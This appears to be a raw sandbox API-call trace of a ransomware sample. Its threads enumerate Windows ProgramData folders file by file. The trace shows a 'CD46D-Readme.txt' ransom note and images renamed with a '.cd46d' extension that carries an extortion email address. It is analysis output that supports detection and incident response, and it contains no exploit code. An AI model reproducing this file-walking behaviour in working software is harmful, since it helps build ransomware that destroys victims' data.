1 [0144.727] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ab5f0 [0144.727] wcscpy (in: _Dest=0x9ab5f0, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0144.727] wcscat (in: _Dest=0x9ab5f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0144.727] wcscat (in: _Dest=0x9ab5f0, _Source="tokens.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0144.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ab5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf8 [0144.728] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0144.728] FindClose (in: hFindFile=0x8d9c50 | out: hFindFile=0x8d9c50) returned 1 [0144.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910a18) returned 1 [0144.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfd00) returned 1 [0144.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfc80) returned 1 Thread: id = 1700 os_tid = 0x82c [0139.864] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3e) returned 0x8d2ae8 [0139.864] wcscpy (in: _Dest=0x8d2ae8, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0139.864] wcscat (in: _Dest=0x8d2ae8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0139.864] wcscat (in: _Dest=0x8d2ae8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\*" [0139.864] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910c80 [0139.864] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942030 [0141.613] wcscmp (_String1=".", _String2=".") returned 0 [0141.613] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.614] wcscmp (_String1="..", _String2=".") returned 1 [0141.614] wcscmp (_String1="..", _String2="..") returned 0 [0141.614] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0141.614] wcscmp (_String1="Outbound", _String2=".") returned 1 [0141.614] wcscmp (_String1="Outbound", _String2="..") returned 1 [0141.614] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e47e8 [0141.614] wcscpy (in: _Dest=0x8e47e8, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0141.614] wcscat (in: _Dest=0x8e47e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0141.614] wcscat (in: _Dest=0x8e47e8, _Source="Outbound" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound" [0142.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e47e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0142.800] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b803ea0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0142.800] wcscmp (_String1="PublishedData", _String2=".") returned 1 [0142.800] wcscmp (_String1="PublishedData", _String2="..") returned 1 [0142.800] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff008 [0142.800] wcscpy (in: _Dest=0x8ff008, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0142.800] wcscat (in: _Dest=0x8ff008, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0142.800] wcscat (in: _Dest=0x8ff008, _Source="PublishedData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0142.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0142.802] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b803ea0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0142.802] wcscmp (_String1="StateData", _String2=".") returned 1 [0142.802] wcscmp (_String1="StateData", _String2="..") returned 1 [0142.802] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e43c8 [0142.802] wcscpy (in: _Dest=0x8e43c8, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0142.802] wcscat (in: _Dest=0x8e43c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0142.802] wcscat (in: _Dest=0x8e43c8, _Source="StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0142.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e43c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0142.803] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b9ccf20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9ccf20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0142.803] wcscmp (_String1="Temp", _String2=".") returned 1 [0142.803] wcscmp (_String1="Temp", _String2="..") returned 1 [0142.803] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f9328 [0142.803] wcscpy (in: _Dest=0x8f9328, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0142.803] wcscat (in: _Dest=0x8f9328, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0142.803] wcscat (in: _Dest=0x8f9328, _Source="Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0142.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0142.804] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b9ccf20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9ccf20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0142.804] FindClose (in: hFindFile=0x942030 | out: hFindFile=0x942030) returned 1 [0142.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910c80) returned 1 [0142.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2ae8) returned 1 [0142.805] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 Thread: id = 1701 os_tid = 0x830 [0139.864] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f95a8 [0139.864] wcscpy (in: _Dest=0x8f95a8, _Source="C:\\ProgramData\\Microsoft\\Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0139.864] wcscat (in: _Dest=0x8f95a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\") returned="C:\\ProgramData\\Microsoft\\Search\\" [0139.864] wcscat (in: _Dest=0x8f95a8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\*") returned="C:\\ProgramData\\Microsoft\\Search\\*" [0139.864] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910ee8 [0139.864] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x910ee8 | out: lpFindFileData=0x910ee8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0141.610] wcscmp (_String1=".", _String2=".") returned 0 [0141.610] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x910ee8 | out: lpFindFileData=0x910ee8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.610] wcscmp (_String1="..", _String2=".") returned 1 [0141.610] wcscmp (_String1="..", _String2="..") returned 0 [0141.610] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x910ee8 | out: lpFindFileData=0x910ee8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0141.610] wcscmp (_String1="Data", _String2=".") returned 1 [0141.610] wcscmp (_String1="Data", _String2="..") returned 1 [0141.610] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e41b8 [0141.611] wcscpy (in: _Dest=0x8e41b8, _Source="C:\\ProgramData\\Microsoft\\Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0141.611] wcscat (in: _Dest=0x8e41b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\") returned="C:\\ProgramData\\Microsoft\\Search\\" [0141.611] wcscat (in: _Dest=0x8e41b8, _Source="Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0142.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e41b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0142.141] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x910ee8 | out: lpFindFileData=0x910ee8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0142.141] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0142.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910ee8) returned 1 [0142.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f95a8) returned 1 [0142.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 Thread: id = 1702 os_tid = 0x834 [0139.865] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f11a8 [0139.865] wcscpy (in: _Dest=0x8f11a8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0139.865] wcscat (in: _Dest=0x8f11a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0139.865] wcscat (in: _Dest=0x8f11a8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\*" [0139.865] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911150 [0139.865] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0402260, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa0402260, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0139.868] wcscmp (_String1=".", _String2=".") returned 0 [0139.868] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0402260, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa0402260, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.868] wcscmp (_String1="..", _String2=".") returned 1 [0139.868] wcscmp (_String1="..", _String2="..") returned 0 [0139.868] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1 [0139.868] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2=".") returned 1 [0139.868] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2="..") returned 1 [0139.868] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x8f6ff0 [0139.868] wcscpy (in: _Dest=0x8f6ff0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0139.868] wcscat (in: _Dest=0x8f6ff0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0139.868] wcscat (in: _Dest=0x8f6ff0, _Source="5p5NrGJn0jS HALPmcxz.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" [0139.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0 [0139.869] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9e04d860, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x9e04d860, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e3473e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0139.869] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0139.869] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0139.869] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0139.869] wcscmp (_String1="Default Pictures", _String2=".") returned 1 [0139.869] wcscmp (_String1="Default Pictures", _String2="..") returned 1 [0139.869] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f70a8 [0139.869] wcscpy (in: _Dest=0x8f70a8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0139.869] wcscat (in: _Dest=0x8f70a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0139.869] wcscat (in: _Dest=0x8f70a8, _Source="Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0139.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f70a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc [0139.870] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="")) returned 1 [0139.870] wcscmp (_String1="guest.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.870] wcscmp (_String1="guest.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.870] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc139, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="")) returned 1 [0139.871] wcscmp (_String1="user.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.871] wcscmp (_String1="user.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.871] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc139, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="")) returned 0 [0139.871] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0139.872] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911150) returned 1 [0139.872] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f11a8) returned 1 [0139.872] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908c10) returned 1 Thread: id = 1703 os_tid = 0x838 [0139.877] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f95f8 [0139.877] wcscpy (in: _Dest=0x8f95f8, _Source="C:\\ProgramData\\Microsoft\\Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0139.877] wcscat (in: _Dest=0x8f95f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\") returned="C:\\ProgramData\\Microsoft\\Vault\\" [0139.877] wcscat (in: _Dest=0x8f95f8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\*") returned="C:\\ProgramData\\Microsoft\\Vault\\*" [0139.877] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911150 [0139.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9420f0 [0141.180] wcscmp (_String1=".", _String2=".") returned 0 [0141.180] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.180] wcscmp (_String1="..", _String2=".") returned 1 [0141.180] wcscmp (_String1="..", _String2="..") returned 0 [0141.180] FindNextFileW (in: hFindFile=0x9420f0, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, 